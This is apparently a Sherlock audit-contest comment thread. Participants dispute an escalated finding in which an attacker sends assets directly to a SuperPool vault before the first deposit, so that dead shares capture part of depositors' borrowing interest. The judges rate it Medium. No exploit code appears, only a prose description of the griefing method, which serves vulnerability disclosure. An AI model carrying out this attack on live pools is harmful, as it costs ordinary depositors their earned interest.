I agree with @samuraii77 and @elhajin.

I was initially misled that it was valid because I thought the "SuperPool" worked differently compared to the ERC4626(because of the working PoC). If this issue is valid, it can be submitted to different bug bounty projects, and the submitter can take a lot of money.

The design of reward distribution in SuperPools is based on shares, meaning users receive a proportion of rewards based on their share ownership. This is how most yield systems work, and thus, no unfair advantage is given to attackers or "dead addresses."

Other users still receive their fair share of rewards based on their contribution to the pool. There is no loss to the users.

My decision is to reject the escalation and leave the issue as is.

ARNO-0 commented 1 week ago

@cvetanovv, the whole argument given by other auditors is invalid and manipulated in favor of the standard ERC4626. This implementation of ERC4626 differs from the standard. In the standard ERC4626, interest/yield accumulation depends on the amount a user contributes. However, in this implementation, interest is not dependent on the deposit but instead is accumulated based on borrowing actions—borrow and repay . Example:
In this version, interest is generated when a user takes out a loan. For instance, if User A deposits 100 tokens into the SuperPool after its deployment, then User B can borrow 100 tokens from the underlying pool. When User B repays the loan with interest after some time, that interest is deposited into the SuperPool. As a result, User A benefits from this borrowing activity by User B, even though the interest was generated by borrowing and not by User A’s deposit.

You can verify this in the test written by the team:
Link to test.

"The design of reward distribution in SuperPools is based on shares, meaning users receive a proportion of rewards based on their share ownership. This is how most yield systems work, and thus, no unfair advantage is given to attackers or 'dead addresses.'"
This statement is invalid. I’ve already provided the link above proving that the reward distribution in this system does not work like typical yield systems.
"Other users still receive their fair share of rewards based on their contribution to the pool. There is no loss to the users."
This statement is also invalid, as my PoC clearly demonstrates.
"I want to add that the fact that this can be done on many pools does not make it a High. The threshold for a High is 1% losses, having more pools vulnerable to this does not increase the percentage. It might increase the overall losses but not the percentage."
The auditor made this claim without doing the actual math. I suggest the judge verify these claims before making a decision. Most of the yield is lost—greater than 1%—which qualifies it for high severity.
"As such, an attack can be done on any pool in existence."
This is a totally invalid argument and Auditor has no idea what is going on did not even bother to read issue carefully.

ARNO-0 commented 1 week ago

I didn’t explain to them because they are not the judge and are making invalid arguments without fully understanding the issue.

ruvaag commented 5 days ago

I see this issue as a duplicate of issues like #97 and #26 –– they all result from inflation attacks that arise from an attacker directly sending assets to the SuperPool, and share the same root cause of the SuperPool relying on ERC20.balanceOf instead of virtual shares.

My suggestion would be to club all three groups of issues into one valid medium or low. I'll modify the SuperPool to track balances virtually to mitigate them.

ARNO-0 commented 5 days ago

@ruvaag
1) I strongly disagree with you. Issue 26 is not even about sending funds directly to the SuperPool, and it is invalid. Front running does not cause any harm in ERC4626 or in this implementation when deposits are made through typical deposit functions. 2) Issue 97 is not a duplicate of this issue. Issue 97 has several workarounds to solve the DoS instantly, such as deploying the SuperPool with a different fake asset and then switching to the main asset so the impact is not even same.

3) Tracking the pool in ERC20.balanceOf is not an issue, as funds sent directly to the SuperPool will be treated as interest, which only harms the sender. The issue only arises if funds are sent directly before the first user deposit, and that's exactly what I explained in this issue—the impact it has on the depositor.

cvetanovv commented 5 days ago

@ARNO-0 I still don't see an issue. What is the logic of someone depositing in a "dead address" instead of depositing for themselves and taking the profit? That makes no logic to me.

You write:

In this version, interest is generated when a user takes out a loan. For instance, if User A deposits 100 tokens into the SuperPool after its deployment, then User B can borrow 100 tokens from the underlying pool. When User B repays the loan with interest after some time, that interest is deposited into the SuperPool. As a result, User A benefits from this borrowing activity by User B, even though the interest was generated by borrowing and not by User A’s deposit.

It's a standard design, and I don't see anything wrong with it. If someone decides to deposit in a "dead address" instead of his address and accumulate interest, that's his choice. He loses future profit.

My decision is to reject the escalation.

ARNO-0 commented 5 days ago

@cvetanovv, I think you do not understand the issue.

"I still don't see an issue. What is the logic of someone depositing in a 'dead address' instead of depositing for themselves and taking the profit? That makes no sense to me."
What are you talking about? I have repeatedly explained that the attacker is not depositing into a dead address. Instead, Attacker is sending underlying assets directly to the contract to manipulate interest distribution, ensuring that User A 's most of the interest is lost that will be accumulated from user b borrowing activity.

"In this version, interest is generated when a user takes out a loan. For instance, if User A deposits 100 tokens into the SuperPool after its deployment, then User B can borrow 100 tokens from the underlying pool. When User B repays the loan with interest after some time, that interest is deposited into the SuperPool. As a result, User A benefits from this borrowing activity by User B, even though the interest was generated by borrowing and not by User A’s deposit."
I wrote this example to help you understand that interest accumulation in this implementation does not work like in a regular ERC4626, as you previously claimed. In this version, the interest is not dependent on a user's deposit but rather on borrowing and repayment activity.

what is the point of the writing poc when you do not take that as proof?

cvetanovv commented 5 days ago

I've checked the PoC test and it works, however, I don't see the logic.

The malicious user transfers the 1e18 directly into the contract and loses it, instead of depositing it for himself and profiting from interest.

ARNO-0 commented 5 days ago

The attacker is of the griefing type that makes any normal depositor lose profit from interest, and the whole point of depositing in the superpool is to earn money for normal depositor. The attacker is not benefiting from this, but a major portion of the profit is lost because the dead address now owns a portion of the profit (due to the shares that were minted during contract deployment). The attacker sent assets directly to make the depositor of the SuperPool users lose profit. The reason why this is happening was explained in an earlier discussion.

and how interest is accumulated i explained already with proof that it is based on borrowing activity of other users

For the attack to succeed, the attacker must send assets before any user deposits into the pool. Otherwise, only the attacker will face the loss.

ARNO-0 commented 5 days ago

If asked, I can provide a full PoC with interest generated by borrowing activity, which should be used as proof for my claims and will show how a normal user will loose portion of the profit( otherwise user would be able to claim 100% of the profit earned ( fee exculaded) in normal case without attack on the superpool).

ARNO-0 commented 4 days ago

@cvetanovv Also, deposits in the SuperPool are used as liquidity so other users can borrow from it. This explains why the attacker is not depositing themselves to profit from it. If assets are sent directly, they are essentially treated as rewards or interest for the depositors of the SuperPool (if the pool is not attacked). In the PoC, the 1e18 assets (sent directly by the attacker) will be used as interest, not liquidity. If the attacker deposited with the intention of profiting from it, wouldn't that be a normal use of the pool? This wouldn't be an attack in the first place, and it wouldn't cause any harm. In fact, it would be beneficial for the underlying pool because they would gain liquidity that the attacker would never withdraw, and the fee recipient would always profit from the borrowing activity.

I hope this clarifies why the attacker is not depositing

I get the point that the attacker can just deposit and never claim to steal interest.

But this deposit will not cause harm because, let's suppose, an attacker and a user deposit 2e18 (1e18 each), and someone borrows 2e18 in total and repays with 1e18 interest. This interest will be distributed equally. However, if the attacker exploits the SuperPool with a direct transfer (amount = 1e18, which won’t be available for borrowing/liquidity), and two users each deposit 1e18 into the SuperPool (their deposits are used as liquidity, and the liquidity available for borrowing is 2e18 even though the total assets in the SuperPool are 3e18 ; keep in mind that attacker's 1e18 wont be able to be claimed by 2 user), then after the borrowing and interest accumulates , dead shares will also own a portion of the interest. This should not happen.

The user's earned profit is shared with the dead address, even though the dead address did not contribute to the liquidity. If that is not a valid issue, I don’t know what is.

WangSecurity commented 4 days ago

After discussing this issue, the decision is that it's valid. The users indeed receive less interest in comparison to situation if the attacker just deposited. The donated funds don't add any value to the pool, i.e. borrowers cannot use them, so the users receive less interest than they should.

Why Medium?

This attack can be executed only in before the first depositor.
The attacker has to have large capital, cause if they donate small amount of money, the loss is negligible.
There is no economical incentive and the attacker loses all the money they donate, during this attack.

*Note: Medium is based on all three reasons. And causing 1% of losses (for High) doesn't mean it's high necessarily, i.e. if the issue causes loss of >1%, the issue can be either H or M, but if the loss is <1% the issue cannot be high.

WangSecurity commented 4 days ago

Result: Medium Unique

sherlock-admin4 commented 4 days ago

Escalations have been resolved successfully!

Escalation status:

ARNO-0: accepted